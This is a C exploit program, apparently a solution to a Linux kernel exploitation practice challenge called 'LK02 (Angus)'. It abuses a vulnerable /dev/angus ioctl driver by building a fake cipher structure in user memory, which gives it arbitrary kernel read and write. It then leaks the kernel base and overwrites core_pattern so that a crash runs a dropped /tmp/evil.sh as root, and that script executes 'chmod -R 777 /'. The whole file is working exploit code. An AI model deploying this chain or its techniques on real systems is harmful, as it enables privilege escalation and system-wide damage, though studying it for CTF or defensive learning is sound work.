LK02 (Angus)

      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/param.h>

#define VULN_DEVICE_NAME "angus"
#define VULN_DEVICE_MAX_LEN 0x1000
#define VULN_CMD_INIT 0x13370001
#define VULN_CMD_SETKEY 0x13370002
#define VULN_CMD_SETDATA 0x13370003
#define VULN_CMD_GETDATA 0x13370004
#define VULN_CMD_ENCRYPT 0x13370005
#define VULN_CMD_DECRYPT 0x13370006

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000

#define CORE_PATTERN_OFFSET (0xeb1820)

static void fatal(const char *msg) {
  perror(msg);
  exit(-1);
}

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

int vuln_dev_fd = -1;
static uint64_t vuln_dev_init() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_INIT, &req);
}
static uint64_t vuln_dev_setkey(void *key, size_t key_len) {
  request_t req = {.ptr = key, .len = key_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETKEY, &req);
}
static uint64_t vuln_dev_setdata(void *data, size_t data_len) {
  request_t req = {.ptr = data, .len = data_len};
  return ioctl(vuln_dev_fd, VULN_CMD_SETDATA, &req);
}
static uint64_t vuln_dev_getdata(void *out, size_t out_len) {
  request_t req = {.ptr = out, .len = out_len};
  return ioctl(vuln_dev_fd, VULN_CMD_GETDATA, &req);
}
static uint64_t vuln_dev_xor() {
  request_t req = {.ptr = NULL, .len = 0};
  return ioctl(vuln_dev_fd, VULN_CMD_ENCRYPT, &req);
}

static void *fake_xor_cipher_mem = (void *)-1;
const size_t fake_xor_cipher_mem_size = 0x2000;
static XorCipher *fake_xor_cipher = (void *)-1;
static XorCipher *make_fake_xor_cipher() {
  fake_xor_cipher_mem =
      mmap(0, fake_xor_cipher_mem_size, PROT_READ | PROT_WRITE,
           MAP_FIXED | MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_xor_cipher_mem < 0) {
    fatal("mmap");
  }

  fake_xor_cipher = (XorCipher *)fake_xor_cipher_mem;
  return fake_xor_cipher;
}
static void AAR(void *out, uint64_t addr, size_t len) {
  fake_xor_cipher->data = (void *)addr;
  fake_xor_cipher->datalen = len;
  vuln_dev_getdata(out, len);
}
static uint64_t AAR64(uint64_t addr) {
  uint64_t ret = 0;
  AAR(&ret, addr, 8);
  return ret;
}
static void AAW(const void *data, uint64_t addr, size_t len) {
  uint8_t *val = (uint8_t *)(fake_xor_cipher_mem + VULN_DEVICE_MAX_LEN);
  const uint8_t *src = (const void *)data;
  fake_xor_cipher->key = val;
  while (len != 0) {
    const size_t step_len = MIN(VULN_DEVICE_MAX_LEN, len);

    AAR(val, addr, step_len);
    for (int i = 0; i < step_len; ++i) {
      val[i] ^= *src++;
    }
    fake_xor_cipher->data = (void *)addr;
    fake_xor_cipher->datalen = step_len;
    fake_xor_cipher->keylen = step_len;
    vuln_dev_xor();

    addr += step_len;
    len -= step_len;
  }
}
static void AAW64(uint64_t addr, uint64_t val) { AAW(&val, addr, 8); }
static uint64_t leak_kernel_base() {
  for (uint64_t addr = KERNEL_BASE_START; addr <= KERNEL_BASE_END;
       addr += 0x100000) {
    uint64_t val = AAR64(addr);
    if (val == 0x4800e03f51258d48) {
      return addr;
    }
  }
  return (uint64_t)-1;
}

int main() {
  vuln_dev_fd = open("/dev/" VULN_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd < 0) {
    fatal("open vuln_dev");
  }
  make_fake_xor_cipher();

  uint64_t kernel_base = leak_kernel_base();
  if (kernel_base == (uint64_t)-1) {
    fatal("kernel_base");
  }
  printf("[+] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] core_pattern: %p\n", (void *)(kernel_base + CORE_PATTERN_OFFSET));

  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");
  const char kCorePattern[] = "|/tmp/evil.sh";
  const size_t kCorePatternLen = strlen(kCorePattern);
  AAW(kCorePattern, kernel_base + CORE_PATTERN_OFFSET, kCorePatternLen);
  system("ulimit -c unlimited");
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  munmap(fake_xor_cipher_mem, fake_xor_cipher_mem_size);
  return 0;
}

Reference